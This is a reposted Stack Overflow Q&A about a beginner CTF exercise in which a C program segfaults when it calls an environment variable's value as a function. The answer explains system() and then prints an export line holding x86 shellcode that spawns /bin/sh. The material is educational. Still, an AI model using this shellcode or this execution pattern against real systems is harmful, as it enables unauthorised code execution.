Segmentation fault on trying to execute value at environment variable

生来就可爱ヽ(ⅴ<●) 提交于 2020-06-17 04:19:09

问题


Hey so I was trying to solve a problem for beginners ctf event.

And this is the code that I am trying to run.

#include <stdio.h>
#include <stdlib.h>

int main(){
            int (*func)();
            func = getenv("MYENV");
            func();
            return 0;
}

I created a MYENV environment like this :

export MYENV=ls

but on running the code, it throws a segmentation fault (core dumped). I don't understand why.

The func function is basically calling the environment variable whose value is a simple command that I set. Why is it throwing an error.

I'm very new at linux and shell, so I'm sorry if this is too naive.


回答1:


In C, if you want to run a system command, you have to use the system function (or one of the exec functions but that's more complicated):

#include <stdio.h>
#include <stdlib.h>

int main() {
    char* cmd = getenv("MYENV");
    system(cmd);
    return 0;
}

If you're looking to run arbitrary code, you can inject shell code into it:

export MYENV=$'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'

You can learn more here.



来源:https://stackoverflow.com/questions/62248648/segmentation-fault-on-trying-to-execute-value-at-environment-variable

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!